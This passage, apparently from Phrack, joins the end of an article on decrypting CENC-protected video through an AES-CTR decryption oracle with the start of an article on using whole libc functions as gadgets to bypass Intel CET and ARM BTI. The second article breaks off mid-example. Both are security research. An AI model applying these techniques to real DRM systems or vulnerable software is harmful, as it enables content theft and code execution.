CENC has several encryption modes, and the most prevalent is called... "cenc" mode. Yup, not confusing at all (I will disambiguate by using lowercase to refer to the mode, and uppercase to refer to the file format.)

In cenc mode, AES‑CTR is used to encrypt arbitrary sub‑regions of the video codec data.

AES is a block cipher. In its purest sense, AES takes a 128‑bit block of plaintext and a 128‑bit key* as input, and produces a 128‑bit ciphertext (i.e. encryption.) Or the reverse, taking a ciphertext and key to return the original plaintext (i.e. decryption.)

*other key lengths are available.

We usually care about encrypting messages that are not exactly 128 bits long, hence "block modes" exist, which are used to construct a more versatile cipher.

AES‑CTR is one such block mode. CTR is short for "counter" ‑ a value that's incremented for each processed block.

AES‑CTR encryption works like this:

ctr+0 ctr+1 ctr+2

|

+‑‑‑v‑‑‑+ +‑‑‑v‑‑‑+ +‑‑‑v‑‑‑+ key ‑>| AES | key ‑>| AES | key ‑>| AES | |encrypt| |encrypt| |encrypt|

+‑‑‑‑‑‑‑+ +‑‑‑

| keystream0 | keystream1 | keystream2 +‑‑v‑‑+ +‑‑v‑‑+ +‑‑v‑‑+ plaintext0 ‑>| XOR | plaintext1 ‑>| XOR | plaintext2 ‑>| XOR |

+‑‑‑‑‑+ +‑‑

|

v v v ciphertext0 ciphertext1 ciphertext2

And similarly, decryption:

ctr+0 ctr+1 ctr+2

|

+‑‑‑v‑‑‑+ +‑‑‑v‑‑‑+ +‑‑‑v‑‑‑+ key ‑>| AES | key ‑>| AES | key ‑>| AES | |encrypt| |encrypt| |encrypt|

+‑‑‑‑‑‑‑+ +‑‑

| keystream0 | keystream1 | keystream2 +‑‑v‑‑+ +‑‑v‑‑+ +‑‑v‑‑+ ciphertext0 ‑>| XOR | ciphertext1 ‑>| XOR | ciphertext2 ‑>| XOR |

+‑‑‑‑‑+ +‑

|

v v v plaintext0 plaintext1 plaintext2

Notice that the only difference here is that the positions of the ciphertext and plaintext have been swapped. The core AES block cipher is in "encrypt" mode in both cases. One way to think about this construction is that we generate a "keystream" through successive encryptions of the counter value (with the same key each time,) and then XOR the keystream with the plaintext. Since the XOR operator is its own inverse, you can XOR the keystream with the ciphertext to recover the original plaintext. If you want to deal with data is not a multiple of 128 bits in length, you can just pad it out to the next block boundary and ignore the "extra" data in the result.

When we set up the I_PCM trick as described above, we're basically constructing an arbitrary decryption oracle. The CDM holds the key (even though we don't know its value,) and we get to pick the CTR and ciphertext values. Finally, we get to harvest the resulting plaintexts.

For reasons that will become apparent later, I don't actually focus on harvesting the plaintexts, not at first. I am primarily interested in deriving the keystream. I set the ciphertext bytes in the I_PCM block to a random value, harvest the corresponding plaintext, and then XOR it with the ciphertext I initially chose. This recovers the keystream bytes for a particular CTR value.

‑‑[ 2.2.1: NAL Unit Emulation Prevention Bytes

If you craft a CENC+h264 file comprised of random encrypted I_PCM blocks, and ask a CDM to decrypt it and play it back to you, it'll *mostly* work. You'll see a bunch of random pixels on your screen (as expected,) but you'll occasionally see visual glitches, dropped frames, and debug logs about invalid NAL units. What's going on?

NAL stands for Network Abstraction Layer, and honestly I couldn't tell you what it's true purpose is, or why it's here and now, causing us problems. What I *can* tell you is that it's a framing layer that sits between the codec bitstream (e.g. h264) and the container (e.g. mp4.) Or something like that. NAL units are delimited by the byte sequence 00 00 01 or 00 00 00 01. If one of these crops up in our decrypted data, purely by bad luck, it'll cause a decode error. The correct way to avoid this, in non‑evil circumstances, is through an overcomplicated escaping scheme. But we don't get to control the values the bytes decrypt to in the first place, so there's not a lot we can do about it here.

Rather than trying to do something clever (cleverer options are certainly available,) I just accept that certain frames will error out, detect those errors (more on this later,) and retry until I get a good one. As mentioned above, I am randomizing the ciphertext bytes I store in the I_PCM blocks. This means when I retry, the plaintext bytes will be randomly different too, and will hopefully not contain a NAL delimiter the second time around.

‑‑[ 2.2.2: Chroma Subsampling

Video (and image) compression schemes make use of chroma‑subsampled color representations, to save on data. Rather than representing colors as an RGB triple, they're represented as a YUV triple, where Y is luminance (colloquially, brightness) and UV is chrominance (the hue information.) Because our eyes are more sensitive to small‑scale brightness variations than small‑scale color variations, the color information can be stored at a lower resolution (typically half, aka YUV420).

Rather than fiddle around with colorspace conversion math (and interpolation, etc. etc.,) I decided to just not use the UV components in my attack. I_PCM blocks store the all the Y data first, followed by U then V (aka "planar" format.) I set the U and V values to all 0x80 (the neutral value,) and in the CENC metadata I only mark the Y bytes as the encrypted range. The resulting decrypted "garbage pixels" we see on the screen will therefore be black‑and‑white, and I can process their values without worrying about math. Except for...

‑‑[ 2.2.3: Limited Range Color

The one thing that tripped me up hardest was the disgusting invention known as "limited range color". Much like NAL units, I couldn't tell you why it exists, merely that it does. In "full range color", the Y channel is stored as an integer in the range 0‑255. Limited range color is cursed such that it only uses the range 16‑235, with 16 representing full‑black and 235 representing full‑white. It is common for the output of a video codec to be "limited range", and then to be converted to full‑range for display on a PC. The "garbage pixels" I described above (containing our precious decrypted data) will range from 0‑255. If the video player is expecting limited‑range color (which is the default,) it will try to map the range 16‑235 onto 0‑255, which will clip values below 16 or above 235. In informal terms, it'll crush the shadows and blow out the highlights. This is a problem for us because we need to know the original codec output data. If we see a "0" byte in the output, it could have originally been anything in the range 0‑16.

There are container‑level flags to specify that the output is full‑range color, which would be a great solution except for the fact that some players seem to ignore them anyway. To keep my attack as universal as possible, I sought to make it work even if the output is getting range‑mapped.

To explain my solution to this problem, I'll first explain what my generated video I‑frames (each comprised of multiple I_PCM blocks) look like:

x‑‑‑>

y +‑‑‑‑+‑‑‑‑+‑‑‑‑+‑‑‑‑+‑‑‑‑+

| |csum| | | | |

v |meta| | | | |

+‑‑‑‑+‑‑‑‑+‑‑‑‑+‑‑‑‑+‑‑‑‑+

| | | | | |

| | | | | |

+‑‑‑‑+‑‑‑‑+‑‑‑‑+‑‑‑‑+‑‑‑‑+

| | | | |ramp|

| | | | |csum|

+‑‑‑‑+‑‑‑‑+‑‑‑‑+‑‑‑‑+‑‑‑‑+

In practice there are a few more rows and columns than this. The unlabeled blocks are encrypted I_PCM blocks.

The top‑left block is a plaintext I_PCM block that contains a checksum, and then metadata (the checksum is calculated over the metadata.) This block arrangement and metadata format is one made up by me, for this exploit, allowing me to track the flow of data through the CDM. The metadata describes information like the initial CTR value, and the random ciphertext value that's been stuffed into the I_PCM blocks. The same checksum value is duplicated in the lower‑right corner of the frame too (which is also a plaintext I_PCM block.) The purpose of these checksums is to detect corrupted frames (e.g. due to NAL errors, or vsync tearing during playback.)

The lower‑right block also contains a "calibration ramp" ‑ a gradient from 0 (black) to 255 (white). Well, it would go all the way to 255, if not for the fact that the last 16 bytes are covered up by the checksum. The purpose of this calibration ramp is to allow us to map "original" byte values to their range‑mapped result. As mentioned earlier, we will not be able to unambiguously recover values that started off in the range 0‑16, or 235‑255. To solve this, each frame is repeated twice. First with an arbitrary random ciphertext value in the I_PCM blocks, and then with the same value but XORed with 0x80. This guarantees that for at least one frame variant, we'll be able to unambiguously recover the pre‑range‑corrected pixel value (and thus, infer the corresponding keystream bytes.)

There were a few spare pixels in the metadata block, which I use to display some cool scrolling text :P

‑‑[ 2.2.4: Crafting I_PCM Bitstreams

Crafting a video that consists only of I_PCM blocks is an unusual thing to want to do, and I couldn't find any existing tools that would let me do it. To enable this, I wrote small patches for libx264 (for h264) and kvazaar (h265) respectively. My x264 patch is surprisingly clean but the kvazaar patch is janky as heck, but it works for my needs (barely).

One gotcha with h265 is that it stores the blocks in a tree structure made up of CTUs ("Coding Tree Units".) In practice, this means that your I_PCM blocks are stored in a weird permutation of the order you'd expect, but once you've figured out that permutation you can just invert it.

I use a python script to generate the input pixel data in YUV4MPEG2 format, which is piped into x264 or kvazaar to generate the codec bitstream.

‑‑[ 2.2.5: Metadata Preparation

This was one of the hardest parts of the whole attack. As I'll talk about later, MP4 is nasty to work with, and information about the correct way of doing things is hard to come by.

While tools exist for preparing CENC files "normally" (shout outs to mp4box, bento4, and more,) there are no off‑the‑shelf tools for crafting CENC metadata with the degree of precision that I needed. Features such as: full control of every CTR value, marking specific byte regions as encrypted or unencrypted, and the ability to do everything on‑the‑fly in a "streaming" fashion.

Even existing low‑level libraries couldn't quite do what I wanted, so I wrote my own. It's far from a production‑quality solution, but it does all the mp4‑wrangling I needed for this attack. I start by using ffmpeg to generate a regular mp4 with no CENC metadata, then I parse and reserialize it (with the addition of my custom CENC metadata,) all on‑the‑fly.

As outlined earlier, we need to store metadata that describes where the encrypted and unencrypted data ranges are. The MP4 file format is based on "atoms" or "boxes" (two different names for the same concept, of course.) Boxes are identified by a 4‑byte ascii identifier (aka a fourcc,) and the senc box is the one we care about most. It's defined as part of the CENC specification like so:

aligned(8) class SampleEncryptionBox

extends FullBox(â€˜sencâ€™, version=0, flags)

{

unsigned int(32) sample_count;

{

unsigned int(Per_Sample_IV_Size*8) InitializationVector; if (flags & 0x000002)

{

unsigned int(16) subsample_count; {

unsigned int(16) BytesOfClearData; unsigned int(32) BytesOfProtectedData; } [ subsample_count ]

}

}[ sample_count ]

}

If subsample encryption mode is enabled (flag bit 0x02) then we get to specify encrypted and unencrypted ranges with byte‑level granularity. We also get to specify the IV (in cenc mode, the IV is the initial CTR value.)

For our purposes, a Sample is a frame's worth of bitstream data (I'm not sure if this is universally true.)

For what I can only assume are "legacy" reasons, there are two different ways that the body of the senc data can be parsed out of a CENC file. You can read it through the senc box itself (FFmpeg and Chromium do this,) or by reading its offset and length out of the saio and saiz boxes respectively (Firefox does this.) The latter approach is unfortunate because the saiz box uses an 8‑bit integer to store the length, which limits the length of the senc data to 255 bytes. This in turn limits the number of encrypted I_PCM blocks we can put in a single frame, which in turn limits the total bandwidth we can exfiltrate data at, in the general case (but it's not so bad really).

(Aside: Maybe you could exploit this difference to craft a video that looks different in Firefox vs Chromium)

‑‑[ 2.2.6: Video Stream Substitution

We need to feed our crafted video stream into a CDM, in place of the original file it expects to be playing.

For basic proof‑of‑concept testing with our own test files, where we know the key, we can use ffmpeg as a CDM, since it knows how to decrypt CENC files *if* provided with the key. In this case there's no need for any clever tricks, we just pass in the crafted file. The testall.sh script in the DeCENC source repo implements this.

But for a slightly more real‑world demonstration, we want to attack a web app playing a video through the EME API. By hooking the EME APIs using a browser extension (actually, we hook the closely related MSE APIs[18],) we can conveniently shim in our own media source in a portable way.

In a similar vein to CENC, the EME+MSE APIs are not DRM systems unto themselves, but a standard interface widely used *by* DRM systems. By developing only against these standard interfaces, we can (in theory) test against any compatible DRM system. Interop win!

misc/mse_hijack.js in the DeCENC source repo is a userscript that implements this.

‑‑[ 2.2.7: Putting it all Together

To turn all this theory into practice, I wrote a service in Python that orchestrates the whole attack. It has an sqlite database that's initialized with a list of all the AES blocks we need to decrypt (specifically, the relevant CTR values,) and as the attack progresses, corresponding keystream blocks are stored to the db.

The server is capable of generating the crafted mp4 files (containing crafted h264 or h265 bitstreams) completely on‑the‑fly, along with ingesting any screen‑recording data (whether it's software‑recorded from OBS, or from a hardware capture device,) and processing the recorded data to extract the keystream bytes.

All the aforementioned retry‑on‑error logic is handled automagically by this service.

Once the database is complete (all keystream blocks found) then it can be processed by a separate script to produce the final decrypted video file.

I built a simple EME+MSE demo webpage, as part of the DeCENC repo, on which we can mount a "realistic" proof‑of‑concept attack.

[=================

[ 3. Capabilities

[=================

My demo works against a 144p h264 video file because I didn't want to store large files in the repo, but there are no fundamental resolution limitations to this technique. It works equally well with 4K video content, and with h265 content (although there are a few semi‑hardcoded h264 things in the code for now; I might add a config flag for it).

I implemented my attack against the "cenc mode" of CENC, which is the most prevalent mode, but not the only mode. "cbcs" mode is common too, which uses AES‑CBC blocks in a repeating pattern of encrypted vs unencrypted blocks. I haven't implemented an attack on this mode yet, but it should be possible.

I haven't thought about audio at all. It's quite common for audio to be unencrypted on video‑streaming platforms, but not always. Maybe there are audio codecs with an I_PCM equivalent, or similarly invertible codec feature.

As I mentioned in the introduction, I'm not going to talk about impacts on specific DRM systems in this paper. DeCENC is a research tool that should enable vendors or other security researchers to figure that out for themselves.

[================

[ 4. Mitigations

[================

There are definitely some things that vendors could do to mitigate this attack. And there are definitely ways that those mitigations could be bypassed. I'll leave both as an exercise to the reader :P

The long‑term solution here is going to involve updating CENC to add support for authenticated encryption modes (AEAD in particular), but I imagine that'll take a long time to roll out.

Dear ISO: Please name one of the new modes "aenc". No particular reason, I'd just like to be able to say I influenced an ISO spec! (Also, please don't paywall it.)

[=======================================

[ 5. Aside: Learning about h264, MP4, ISO‑BMFF

[=======================================

Understanding these formats/specifications was critical for me in performing this research.

Half of the relevant specs are paywalled, but once you've dealt with that limitation they're still sprawling and incomprehensible. I'm used to being able to understand things from reading their specs, but that really wasn't the case here.

For h264 in particular, I was surprised to find the best information in book format ‑ "The H.264 Advanced Video Compression Standard" by Iain E. Richardson[17]. I didn't read it cover‑to‑cover because I'm incapable of such feats, but it was great for reference on how particular features worked.

For MP4/ISO‑BMFF, and CENC itself, I had the best luck looking at existing implementation code.

For MP4, the pymp4[18] library was a valuable resource. For CENC, one of the most understandable implementations I found was deep inside Firefox's source tree[19].

[================

[ 6. Reflections

[================

This attack seems incredibly obvious in retrospect, from a high‑level view. And yet, I seem to have been the first to notice it ‑ or maybe just the first to write about it publicly.

I think it boils down to the high number of moving parts involved. As a whole, EME+MP4+CENC is a sprawling set of specifications that feel very "design by committee". I'd wager that no individual has complete visibility of the full system, from the top‑level all the way down to the nuts and bolts. Even after doing this research, I only know a small slice of the whole picture ‑ but it was just the right slice.

To get philosophical about it for a moment, you're unlikely to ever know *the most* about a topic, but you can certainly learn a unique slice of it. And from that vantage point, you can make new connections.

[===============

[ 7. References

[===============

[0] https://security.stackexchange.com/questions/2202/lessons‑learned‑and‑misc

onceptions‑regarding‑encryption‑and‑cryptology/2206#2206

[1] https://www.iso.org/standard/84637.html ISO/IEC 23001‑7:2023 Part 7

(MPEG‑CENC)

[2] https://www.w3.org/TR/encrypted‑media/ W3C EME

[3] https://github.com/DavidBuchanan314/DeCENC

[4] https://torrentfreak.com/4k‑content‑protection‑stripper‑beats‑warner‑

bros‑in‑court‑1605xx/

[5] https://en.wikipedia.org/wiki/Generation_loss

[6] http://phrack.org/issues/68/8.html "Practical cracking of white‑box

implementations" by SysK

[7] https://twitter.com/David3141593/status/1080606827384131590

[8] https://seclists.org/fulldisclosure/2024/May/5 "Microsoft PlayReady ‑

complete client identity compromise" by Adam Gowdiak

[9] https://hyrathon.github.io/posts/wideshears/wideshears‑wp.pdf

"Wideshears: Investigating and Breaking Widevine on QTEE" by Qi Zhao

[10] https://arxiv.org/abs/2204.09298 "Exploring Widevine for Fun and Profit"

‑ Gwendal Patat, Mohamed Sabt, Pierre‑Alain Fouque, 2022

[11] https://en.wikipedia.org/wiki/White‑box_cryptography#Security_goals ‑

Code Lifting

[12] https://www.youtube.com/watch?v=SEBuiecLZGg "37C3 ‑ Full AACSess:

Exposing and exploiting AACSv2 UHD DRM for your viewing pleasure" by Adam Batori

[13] https://web.dev/articles/eme‑basics "EME WTF? An introduction to

Encrypted Media Extensions", by Sam Dutton

[14] https://www.usenix.org/conference/usenixsecurity13/technical‑sessions/pap

er/wang_ruoyu "Steal This Movie"

[15] "High Efficiency Video Coding (HEVC): Algorithms and Architectures" by Vivienne Sze, Madhukar Budagavi, Gary J. Sullivan, 2014. ISBN 3319068946, Springer

[16] https://www.w3.org/TR/media‑source‑2/ W3C MSE

[17] "The H.264 Advanced Video Compression Standard" by Iain E. Richardson

[18] https://github.com/beardypig/pymp4

[19] https://github.com/mozilla/gecko‑dev/blob/9c65def36af441133c75a44b126e651

84b039b2f/dom/media/eme/clearkey/ClearKeyDecryptionManager.cpp

Bypassing CET & BTI With Functional Oriented Programming

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x07 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑=[ Bypassing CET & BTI With Functional Oriented Programming ]=‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ LMS ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑| Table of contents

1 ‑ Introduction

2 ‑ FOP Background

3 ‑ FOP Gadget identification

3.1 Identification Process

3.2 Gadget Depth

3.3 Gadget Examples

4 ‑ FOP Dispatcher Gadget

4.1 ‑ _dl_call_fini Dispatcher Gadget

4.2 ‑ link_map Examination

5 ‑ Symbolic Engine

5.1 ‑ Phase 1: Static Analysis

5.2 ‑ Phase 2: Symbolic Execution

6 ‑ Examples

7 ‑ Final Thoughts

7.1 ‑ Constraints

7.2 ‑ Nomenclature

7.3 ‑ Architecture Differences

7.4 ‑ Turing Completeness

7.6 ‑ Future Work

7.5 ‑ Kernel FOP

7.7 ‑ Possible Mitigations

7.8 ‑ Conclusion

8 ‑ Acknowledgments

9 ‑ References

10 ‑ Appendix A: ARM "bin/sh" in memory chain

11 ‑ Appendix B: Intel "/bin/sh" in memory chain

12 ‑ Appendix C: Source Code

‑‑‑‑| 1. Introduction

Return Oriented Programming (ROP) has been around for over 15 years now [1]. Since then, other code reuse techniques have been demonstrated to work in certain circumstances, such as Jump Oriented Programming (JOP) [2][3]. With the growth of these two techniques in the last decade, new protections have been created to limit their usability. Some of these include Control‑Flow Enforcement Technology (CET) [4] for Intel processors and Pointer Authentication (PAC) and Branch Target Identification (BTI) [5][6] for ARM processors. The intent of these protections is to limit the use of code reuse attacks such as ROP and JOP within a program.

CET encompasses two primary protective measures: the Shadow Stack and Indirect Branch Targeting (IBT) [7]. The Shadow Stack, a secondary hardware stack, primarily records return addresses to verify the integrity of the return path's control flow. While alternative methods to manipulate values within this secondary stack do exist, the primary safeguard lies in inspecting returns, thereby constraining ROP in scenarios such as stack buffer overflows or stack pivots.

IBT involves the direct enforcement of specific landing destinations for indirect branches, whether they are register or memory jump/call instructions. Although the landing pad instruction necessary for IBT has been incorporated since GCC 8 [8], its full integration into the Linux system was only recently finalized [9]. Typically placed at the beginning of functions susceptible to indirect referencing, this landing pad directive serves as a safeguard. In Intel processors this landing pad instruction is `ENDBR64`. Should an indirect jump or call fail to land on the specified instruction, a trap is triggered. This protective measure aims to mitigate the effectiveness of JOP attacks.

Regarding ARM protections, we have PAC/BTI [6]. PAC involves applying a lightweight hashing protection to a memory value, typically pointers, although it can be applied to almost any value. This process entails storing the hashed value within the unused topmost bits of the pointer. Given that userspace applications generally utilize no more than 48 bits of the available 64‑bit address space, this approach is feasible.

It can be easily implemented with a few instructions at both the beginning and end of a function to safeguard return addresses. While it can also serve to verify against other forms of memory corruption, it's not yet commonplace in Linux to fully validate every potential function pointer (a point of consideration for future developments).

The second safeguard, BTI, mirrors IBT in functionality, albeit with slightly different terminology. Like IBT, it involves placing a landing pad instruction at the onset of functions to protect against JOP attacks stemming from indirect branches. In ARM processors this landing pad instruction is aptly named `BTI`.

Given that both processor types (Intel, ARM) incorporate two primary techniques aimed at mitigating code reuse attacks such as ROP and JOP, leveraging these techniques to exploit a memory corruption vulnerability becomes a daunting task, if not nearly impossible. Instead of attempting to bypass these safeguards, why not utilize them in accordance with their original design? This approach can be achieved through Function Oriented Programming (FOP).

‑‑‑‑| 2. FOP Background

Ah, indeed, let's clarify: FOP diverges from the realm of Functional Programming paradigms, so aficionados of Haskell need not fret; they will not find solace here. FOP, or Functional Oriented Programming, involves employing an entire function (from its prologue to its epilogue) as a gadget. Unlike the traditional notion of "gadgets" in ROP or JOP scenarios, which typically consist of just a few instructions, such as the classic "POP RDI; RET;", FOP extends gadgets to encompass entire functions.

The purpose of utilizing the entire function as the gadget is to leverage two abilities from functions. The first is the ability to utilize a function as intended. An example would be that by controlling two parameters of a function call, such as strcpy, it becomes possible to manipulate values in memory. This may seem like a small feat, but this could be expanded to any function that includes a starting landing pad instruction in Glibc, such as `mprotect` or `syscall`.

The second ability is gained by the side effects that occur from calling a function. As parameter registers are usually considered volatile, there is no value in restoring or protecting them. This results in parameter register values to potentially be of use after a function call.

An example of this can be found in the Glibc internal function `__hash_string`, and is used in the examples in Appendix B. This function is normally used to create a hash of a string for lookup operations, taking the string as the first argument through the RDI register. This function has the unintended consequence of moving the RDI register to point to the first null byte in memory, if RDI points to a valid address.

This is compiler and architecture dependent, but has been observed to be fairly consistent across several Libc versions. While the intention of this function is to return a hash of a string, an attacker can use this to increment RDI to the end of a memory segment. Chaining similar side effects together can then result in further modifications of registers or values in memory.

The abilities described are dependent on a reliable dispatcher gadget. In the aforementioned example, the dispatcher must not modify the volatile argument registers between FOP gadget calls. This paper examines such a dispatcher that is found normally within Glibc, and is called within normal execution. Because the dispatcher's function call takes no parameters, the parameter registers are not reset between calls. This allows the next FOP gadget to use the parameter registers set by the previous call. Using a memory corruption vulnerability and this dispatcher, it becomes possible to build a FOP chain to gain execution.

While FOP isn't an entirely novel technique, this paper endeavors to shed light on its potential impact on modern systems. The concept of employing entire functions as gadgets found its initial implementation in 2011 [10]. The primary revelation was the ability to chain multiple Return‑Into‑Libc functions on the stack, thereby achieving Turing‑complete functionality. This concept underwent refinement, leading to the emergence of Loop Oriented Programming (LOP) in 2015 [11]. LOP showcased the utilization of function chaining with a loop gadget serving as a dispatcher. Subsequently, in 2018, this evolved into FOP [12].

FOP shares similarities with Counterfeit Object‑Oriented Programming (COOP) [18], with the primary distinction being FOP's avoidance of C++ requirements and its broader applicability beyond vtable effects. COOP, though mostly a theoretical attack, has shown potential in bypassing CET protections [17].

The illustrative example in [17] demonstrates the effective use of simple functions to exploit a vulnerable Windows application, achieving execution by leveraging a favorable trigger function that allows argument control and external parameter loading, resulting in a shorter necessary chain. In contrast, this paper explores a similar chain entirely within libc, without relying on external strings or parameter loading, which leads to a larger overall chain.

While previous papers offered glimpses into the implementation of FOP, this paper seeks to delve deeper into its utilization within Linux environments. By demonstrating that a FOP attack can work solely within Glibc, this paper will show that FOP is of use in a modern age of CPU protections. This paper will also explore aspects such as gadget identification and attack complexity, thereby expanding the scope of FOP's application.

‑‑‑‑| 3. FOP Gadget Identification

In any code reuse attack, the effectiveness of the attack framework heavily relies on the gadgets employed. FOP follows a distinct approach to gadget identification, compared to traditional ROP and JOP techniques.

In ROP, identifying gadgets often involves searching for a return instruction (0xC3 in x86‑64) and tracing backward to uncover useful instructions formed by byte combinations. Similarly, in JOP, this process involves substituting the return instruction with a jump to a specified location or register. However, FOP introduces a departure from this conventional method. While it may still be feasible to identify a return instruction and backtrack to the beginning of a function, the control flow within functions may not always follow a linear path. Instead, it may include conditional jumps and loops that alter the flow of execution.

Consequently, FOP necessitates an alternate approach where identification proceeds forward from a designated starting point. Fortunately, the protective measures that FOP aims to circumvent introduce landing pad instructions alongside IBT and Branch Target Identification (BTI). These landing pad instructions serve as indicators for identifying a starting position from which to proceed forward during gadget identification.

‑‑‑‑‑‑‑‑| 3.1 Identification Process

While pinpointing the starting location of a function marks a crucial step, it doesn't guarantee that the function can serve as a viable FOP gadget. Here, symbolic execution proves invaluable. Symbolic execution involves interpreting instructions as logical operations rather than executing them outright [13]. This approach enables the traversal of potential code paths within a code segment or binary without requiring the setup of the exact runtime environment.

Symbolic execution offers distinct advantages, particularly in identifying potential code paths and defining them through symbols. However, it's not without its limitations. One significant drawback lies in the possibility of traversing paths that may not be feasible in a real‑world scenario. Because symbolic execution doesn't directly execute code paths, comparisons may be misinterpreted, leading to issues like path explosion, especially within loops or comparisons.

When a comparison is encountered, symbolic execution can bifurcate the code path into two possible branches, potentially leading to an exponential increase in the number of traversed paths. This can significantly slow down path traversal and exhaust system memory, particularly when dealing with code paths containing numerous comparisons, loops, or function calls. As we'll explore later, path explosion poses a challenge when attempting to identify gadgets with a substantial number of instructions. While this may increase the time taken to identify gadgets, in most cases, it should not impede the discovery of a sufficient set of potential gadgets.

This leads to the crux of this section; a tool designed to identify FOP gadgets from core dumps was created [14]. This tool leverages a symbolic execution framework to pinpoint potential FOP gadgets and present them to the user. Compatible with both ARM and x86‑64 core dumps, the tool endeavors to identify FOP gadgets within all executable regions.

Examining the gadget counts below, we observe a considerable number of gadgets, even with a modest gadget depth of only 15 instructions. In this table, 'Built' represents software compiled from source, where‑as the others represent software obtained from Linux distribution repositories. Furthermore, 'Depth' represents the max number of instructions analyzed beyond each landing pad instruction, indicating gadgets that included a return instruction within that depth:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

| Library | Depth 15 | Depth 25 | Depth 50 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

| Built (x86‑64) | 1426 | 2765 | 5438 |

| Centos (x86‑64) | 1268 | 2618 | 4912 |

| Ubuntu (x86‑64) | 1294 | 2667 | 4897 |

| Built (ARM) | 1348 | 2161 | 3298 |

| OpenSuse (ARM) | 1320 | 2084 | 3212 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

The table above illustrates several tested Glibc versions, comprising custom‑compiled Glibc variants with default compilation parameters, alongside the necessary security flags to integrate the discussed mitigations. It's important to note that the gadget counts for the Glibc versions were measured during the summer of 2023 and may not reflect the current environment accurately. This caveat is warranted due to the limited availability of identifiable Glibc libraries compiled with BTI support for ARM at that time.

Furthermore, it's essential to recognize that the table provided is not an exhaustive representation of all the diverse distributions available.

‑‑‑‑‑‑‑‑| 3.2 Gadget Depth

In the table above, three examples of gadget depth are displayed. Gadget depth refers to the number of instructions examined before determining failure if a return instruction is not encountered. The values of 15, 25, and 50 have been arbitrarily chosen to illustrate a method for categorizing the number of gadgets present in the tested libraries.

In reality, the majority of gadgets may be too complicated or consist of too many constraints to be functional or useful; constraints are examined in the following section. This leads to the primary point that most useful gadgets can be identified within 15 instructions or fewer. These types of gadgets typically consist of simple register‑setting instructions that return early with minimal processing, as illustrated in Section 3.3.

The gadget depth can also be significantly impacted by simple operations. For example, the prologue and epilogue of a function can take up nearly 10 instructions, as demonstrated by the first example in Section 3.3. Instructions like ENDBR64, PUSH, POP, and RET account for 9 of the 15 instructions in the gadget. While these instructions might not ultimately affect the final state of the environment, as all values are restored, they cannot be ignored during gadget identification.

Ultimately the gadget depth is an arbitrary value, similar to the number of bytes to look backward in ROP gadgets.

‑‑‑‑‑‑‑‑| 3.3 Gadget Examples

This section will provide a few gadget examples to illustrate how the tooling displays the gadget and how this translates to the code. All examples will be acquired from Glibc 2.39, self‑compiled for testing purposes, within the Intel architecture. The output will first display the tooling output, then will be followed by the assembly code that creates this output.

The first example is a simple gadget that sets the register RDI to 1:

```

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

libc.so.6 0x139e40:

Results:

RAX: 0x1

RDI: 0x1

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0000000000139e40 <_nss_files_endetherent>:

139e40: f3 0f 1e fa endbr64

139e44: bf 01 00 ... mov edi,0x1

139e49: e9 f2 e6 ... jmp 128540 <__nss_files_data_endent>

0000000000128540 <__nss_files_data_endent>:

128540: f3 0f 1e fa endbr64

128544: 41 54 push r12

128546: 55 push rbp

128547: 53 push rbx

128548: 48 8b 2d ... mov rbp,QWORD PTR [rip+0xb75f1] 12854f: 48 85 ed test rbp,rbp

128552: 75 0c jne 128560 <__nss_files_data_endent+0x20> 128554: 5b pop rbx

128555: b8 01 00 ... mov eax,0x1

12855a: 5d pop rbp

12855b: 41 5c pop r12

12855d: c3 ret

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

```

As can be found in the assembly above, the gadget would depend on the value within [rip+0xb75f1], but as the core file used to create this gadget had this value set to 0; this check ultimately failed and this path was guaranteed to occur. This results in the RDI register holding onto the initially set value of 1.

The following gadget demonstrates the ability to move values between registers. In this case, the value in the RDI register is transferred to the RSI register:

```

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

libc.so.6 0x152510:

Results:

RAX: 0x7f309b99c000

RSI: RDI

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0000000000152510 <_dl_mcount_wrapper_check>:

152510: f3 0f 1e fa endbr64

152514: 48 8b 05 ... mov rax,QWORD PTR [rip+0x84a6d] 15251b: 48 89 fe mov rsi,rdi

15251e: 48 83 b8 ... cmp QWORD PTR [rax+0xa90],0x0 152525: 00

152526: 74 18 je 152540 <_dl_mcount_wrapper_check+0x30> ...

152540: c3 ret

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

```

The final gadget shows an example of the tooling identifying symbolic restraints to make the gadget successfully pass. In this case, these are memory constraints to pass a comparison and jump, as well as demonstrating that parameter based reads and writes occur within this gadget:

```

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

libc.so.6 0x26bb0:

Results:

RDI: [RDI]

Read Constraints:

0: Qword [RDI]

1: Dword [16 + RDI]

Write Constraints:

